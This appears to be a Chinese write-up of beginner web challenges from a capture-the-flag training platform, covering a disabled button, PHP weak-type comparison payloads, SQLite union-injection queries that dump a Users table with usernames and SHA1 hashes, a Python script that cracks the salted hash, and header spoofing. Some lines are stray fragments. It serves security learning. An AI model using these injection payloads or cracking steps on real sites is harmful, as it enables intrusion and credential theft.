攻防世界web篇10.25
disabled_button
X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
删除disable clss="class="btn btn-default"在点击即可看到flag
simple_php
小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
<?php show_source(__FILE__); include("config.php"); $a=@$_GET['a']; $b=@$_GET['b']; if($a==0 and $a){ echo $flag1; } if(is_numeric($b)){ exit(); } if($b>1234){ echo $flag2; } ?>
(1)如果a=0且a为真,我们可以的到flag1;
(2)is_number($b)的意思是判断b是否为数字,如果为数字则返回,说明此处的b不能为数字不然就执行exit()了;
(3)要求b大于1234,可以得到flag2;
综上;
b要求非数字并且大于1234,涉及到php的弱类型比较;
本文直接给出b=1235a>1234,且b不为数字;
http://ip/index.php?a=%220%22&b=1235z
@/opt/api/database.sqlite3
html复制到1111.html使用浏览器打开
@/opt/api/database.sqlite3
view_source
X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
f12查看源码
FlatScience
User-agent: * Disallow: /login.php Disallow: /admin.php
这里的user存在注入,并且会把结果给我们回显在cookie当中。
usr=1' uninon select 1,2 --+&pw=123
判断字段数,-------order by 或者直接 union select 1,2查看有无报错。
然后判断回显位置如下图所示
usr=-1' union select 1,2 -- +&pw=123
2被回显在了cookie处。下面进行sqlite注入的讲解(不同于mysql)
在sqlite数据库有一张sqlite_master表,存放着相关信息
usr=1' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw=123
在这里插入代码片
usr=1' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw=123
name
admin%2Cfritze%2Chansi
passwd
3fab54a50e770d830c0416df817567662a9dc85c%2C54eae8935c90f467427f05e4ece82cf569f89507%2C34b0bb7c304949f9ff2fc101eef0f048be10d3bd
Users表有四个字段:id,name,password,hint,利用group_concat()分别查询name,password和hint字段。执行如下所示的命令 union select 1,group_concat(name,"++++") from Users --+ union select 1,group_concat(password,"++++") from Users --+ union select 1,group_concat(hint,"++++") from Users --+ 查询到的结果如下所示
usr=1%27 UNION SELECT id, hint from Users limit 0,1--+&pw=111
name=+my+fav+word+in+my+fav+paper%3F%21
利用脚本对passwd进行解密
from cStringIO import StringIO from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.converter import TextConverter from pdfminer.layout import LAParams from pdfminer.pdfpage import PDFPage import sys import string import os import hashlib def get_pdf(): return [i for i in os.listdir("./") if i.endswith("pdf")] def convert_pdf_2_text(path): rsrcmgr = PDFResourceManager() retstr = StringIO() device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams()) interpreter = PDFPageInterpreter(rsrcmgr, device) with open(path, 'rb') as fp: for page in PDFPage.get_pages(fp, set()): interpreter.process_page(page) text = retstr.getvalue() device.close() retstr.close() return text def find_password(): pdf_path = get_pdf() for i in pdf_path: print "Searching word in " + i pdf_text = convert_pdf_2_text(i).split(" ") for word in pdf_text: sha1_password = hashlib.sha1(word+"Salz!").hexdigest() if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c': print "Find the password :" + word exit() if __name__ == "__main__": find_password()
爆破密码为:ThinJerboa
在admin.php里登录
xff_referer
X老师告诉小宁其实xff和referer是可以伪造的。
X-Forwarded-For: 123.123.123.123 referer: https://www.google.com
cyberpeace{b252dd6ade8913315700b7cb94f41312}